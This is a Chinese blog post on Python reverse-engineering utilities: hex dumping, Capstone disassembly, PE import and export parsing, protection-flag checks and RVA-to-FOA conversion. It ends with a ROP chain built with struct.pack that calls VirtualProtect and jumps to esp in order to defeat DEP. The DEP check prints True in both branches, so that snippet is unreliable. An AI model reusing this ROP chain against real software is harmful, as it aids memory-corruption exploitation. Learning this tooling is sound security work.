Python 实现进制转换与反汇编
通过利用反汇编库,并使用python编写工具,读取PE结构中的基地址偏移地址,找到OEP并计算成FOA文件偏移,使用反汇编库对其进行反汇编,并从反汇编代码里查找事先准备好的ROP绕过代码,让其自动完成搜索,这里给出实现思路与部分代码片段。
十六进制转换器 可自行添加上,文件与偏移对应关系,即可实现指定位置的数据转换,这里给出坑爹版实现,自己晚膳吧。
#coding:utf-8
import os,sys
import binascii
# binascii.a2b_hex("4d")
if __name__ == "__main__":
count = 0
size = os.path.getsize("qq.exe")
print("文件指针: {}".format(size))
fp = open("qq.exe","rb")
lis = []
for item in range(500):
char = fp.read(1)
count = count + 1
if count % 16 == 0:
if ord(char) < 16:
print("0" + hex(ord(char))[2:])
else:
print(hex(ord(char))[2:])
else:
if ord(char) < 16:
print("0" + hex(ord(char))[2:] + " ",end="")
else:
print(hex(ord(char))[2:] + " ",end="")
二进制与字符串互转
import os
def to_ascii(h):
list_s = []
for i in range(0, len(h), 2):
list_s.append(chr(int(h[i:i+2], 16)))
return ''.join(list_s)
def to_hex(s):
list_h = []
for c in s:
list_h.append(hex(ord(c))[2:])
return ''.join(list_h)
with open("d://run.exe","rb") as fp:
lis = []
for x in range(10240):
for i in range(64):
char = fp.read(1)
print(to_ascii(hex(ord(char))[2:]),end="")
print("")
反汇编框架
import os
from capstone import *
CODE = b"\x55\x8b\xec\x6a\x00\xff\x15\x44\x30\x11\x00"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(CODE, 0x1000):
print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))
print("*" * 100)
CODE64 = b"\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\xea\xbe\xad\xde\xff\x25\x23\x01\x00\x00\xe8\xdf\xbe\xad\xde\x74\xff"
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(CODE64, 0x1000):
print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))
读取pE结构的代码 读取导入导出表,用Python 实在太没意思了,请看C/C++ 实现PE解析工具笔记。
def ScanImport(filename):
pe = pefile.PE(filename)
print("-" * 100)
try:
for x in pe.DIRECTORY_ENTRY_IMPORT:
for y in x.imports:
print("[*] 模块名称: %-20s 导入函数: %-14s" %((x.dll).decode("utf-8"),(y.name).decode("utf-8")))
except Exception:
pass
print("-" * 100)
def ScanExport(filename):
pe = pefile.PE(filename)
print("-" * 100)
try:
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
print("[*] 导出序号: %-5s 模块地址: %-20s 模块名称: %-15s"
%(exp.ordinal,hex(pe.OPTIONAL_HEADER.ImageBase + exp.address),(exp.name).decode("utf-8")))
except:
pass
print("-" * 100)
验证DEP+ASLR
# 随机基址 => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x40 == 0x40
if( (pe.OPTIONAL_HEADER.DllCharacteristics & 64)==64 ):
print("基址随机化: True")
else:
print("基址随机化: False")
# 数据不可执行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
if( (pe.OPTIONAL_HEADER.DllCharacteristics & 256)==256 ):
print("DEP保护状态: True")
else:
print("DEP保护状态: True")
# 强制完整性=> hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x80 == 0x80
if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 128)==128 ):
print("强制完整性: True")
else:
print("强制完整性: False")
if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 1024)==1024 ):
print("SEH异常保护: False")
else:
print("SEH异常保护: True")
VA转FOA地址
import os
import pefile
def RVA_To_FOA(FilePath):
pe = pefile.PE(FilePath)
ImageBase = pe.OPTIONAL_HEADER.ImageBase
for item in pe.sections:
if str(item.Name.decode('UTF-8').strip(b'\x00'.decode())) == ".text":
#print("虚拟地址: 0x%.8X 虚拟大小: 0x%.8X" %(item.VirtualAddress,item.Misc_VirtualSize))
VirtualAddress = item.VirtualAddress
VirtualSize = item.Misc_VirtualSize
ActualOffset = item.PointerToRawData
StartVA = hex(ImageBase + VirtualAddress)
StopVA = hex(ImageBase + VirtualAddress + VirtualSize)
print("[+] 代码段起始地址: {} 结束: {} 实际偏移:{} 长度: {}".format(StartVA,StopVA,ActualOffset,VirtualSize))
with open(FilePath,"rb") as fp:
fp.seek(ActualOffset)
HexCode = fp.read(VirtualSize)
print(HexCode)
RVA_To_FOA("d://lyshark.exe")
给出一条过保护的ROP链
rop = struct.pack ('<L',0x7c349614) # ret
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffcdf) #
rop += struct.pack('<L',0x7c379c10) # add ebp,eax
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffdff) # value = 0x201
rop += struct.pack('<L',0x7c353c73) # neg eax
rop += struct.pack('<L',0x7c34373a) # pop ebx
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # inc ebx
rop += struct.pack('<L',0x7c352174) # add ebx,eax
rop += struct.pack('<L',0x7c344efe) # pop edx
rop += struct.pack('<L',0xffffffc0) # 0x40h
rop += struct.pack('<L',0x7c351eb1) # neg edx
rop += struct.pack('<L',0x7c36ba51) # pop ecx
rop += struct.pack('<L',0x7c38f2f4) # &writetable
rop += struct.pack('<L',0x7c34a490) # pop edi
rop += struct.pack('<L',0x7c346c0b) # ret (rop nop)
rop += struct.pack('<L',0x7c352dda) # pop esi
rop += struct.pack('<L',0x7c3415a2) # jmp [eax]
rop += struct.pack('<L',0x7c34d060) # pop eax
rop += struct.pack('<L',0x7c37a151) # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed) # jmp esp
Python 实现进制转换与反汇编的更多相关文章
- python 实现进制转换(二进制转十进制)
摘自https://baike.baidu.com/item/%E5%8D%81%E8%BF%9B%E5%88%B6%E8%BD%AC%E4%BA%8C%E8%BF%9B%E5%88%B6 pytho ...
- python任意进制转换
python任意进制转换 import string def module_n_converter(q, s, base=None): """ 将自然数按照给定的字符串转 ...
- python实现进制转换(二、八、十六进制;十进制)
python实现进制转换(二.八.十六进制:十进制) (一)十进制整数转为二.八.十六进制 1.format实现转换>>> format(2,"b") # (10 ...
- Python中进制转换函数的使用
Python中进制转换函数的使用 关于Python中几个进制转换的函数使用方法,做一个简单的使用方法的介绍,我们常用的进制转换函数常用的就是int()(其他进制转换到十进制).bin()(十进制转换到 ...
- python中进制转换
使用Python内置函数:bin().oct().int().hex()可实现进制转换. 先看Python官方文档中对这几个内置函数的描述: bin(x)Convert an integer numb ...
- Python 各种进制转换
#coding=gbk var=input("请输入十六进制数:") b=bin(int(var,16)) print(b[2:]) 详细请参考python自带int函数.bin函 ...
- python 中进制转换及format(),int()函数用法
python中数值型变量好像只能是十进制形式表示,其他类型变量只能以字符串形式存在,可以通过format函数将int类型变量转换成其他进制字符串,如下所示: v_code=15 # 2进制 x=for ...
- python的进制转换
转载于:https://www.cnblogs.com/FWF1944/p/11132409.html(方法论190404) Python整数能够以十六进制,八进制和二进制来编写,作为一般以10位基数 ...
- python之进制转换
Python中二进制是以0b开头的: 例如: 0b11 则表示十进制的3 8进制是以0开头的: 例如: 011则表示十进制的9 16进制是以0x开头的: 例如: 0x11则表示十进制 ...
- python的进制转换二进制,八进制,十六进制及其原理
#!usr/bin/env python# coding:utf-8def binary(): '''二进制的方法与算法''' Number = 10 Number1 = 20 Nu ...
随机推荐
- 【MFC】CSingleLock的使用
转载文章:CSingleLock的使用 // 先看看其代码: // 声明 class CSingleLock { // Constructors public: CSingleLock(CSyncOb ...
- OJ中的语言选项里G++ 与 C++的区别
概念上: C++是一门计算机编程语言,而G++则是C++的编译器. GCC和G++都是GUN的编译器,cc是Unix系统的C Compiler,而gcc则是GNU Compiler Collectio ...
- 打造绿色城市,数字孪生天然气站 3D 可视化
前言 天然气作为常见的燃料,与我们的生活息息相关,而对于这种燃料的存储与传输,对于天然气供应站有着严格的要求.燃气企业一般都会将点供站设计为无人值守站,而往往在运营管理过程中,对点供站的安全管理尤为重 ...
- 【调试】kdump原理及其使用方法
kdump机制 简介 Kdump是在系统崩溃.死锁或死机时用来转储内存运行参数的一个工具和服务,是一种新的crash dump捕获机制,用来捕获kernel crash(内核崩溃)的时候产生的cras ...
- vue 使用print.js实现前端打印功能
https://blog.csdn.net/cccdf_jjj/article/details/99563682 插件vue-print-nb实现前端打印当前页面功能 https://blog.csd ...
- JVM简单概述
一.内存模型&分区 Java虚拟机在运行Java程序时,会管理着一块内存区域:运行时数据区 在运行时数据区里,会根据用途进行划分为以下模块: 1.Java虚拟机栈 2.本地方法栈 3.Java ...
- Java面试——数据库知识点
MySQL 1.建 主键:数据库表中对储存数据对象予以唯一和完整标识的数据列或属性的组合.一个数据列只能有一个主键,且主键的取值不能缺失,即不能为空值(Null). 超键:在关系中能唯一标识元组的属性 ...
- 分享10个高级sql写法
本文主要介绍博主在以往开发过程中,对于不同业务所对应的 sql 写法进行归纳总结而来.进而分享给大家. 本文所讲述 sql 语法都是基于 MySql 8.0+ 博主github地址:http://gi ...
- Vue第五篇 Vue的生命周期
Vue生命周期简介 生命周期的钩子函数 <!DOCTYPE html> <html lang="en"> <head> <meta cha ...
- 如何使用Markdown编写笔记
Markdown是什么? Markdown 是一种轻量级标记语言,创始人为约翰·格鲁伯(John Gruber). 它允许人们使用易读易写的纯文本格式编写文档,然后转换成有效的 XHTML(或者HTM ...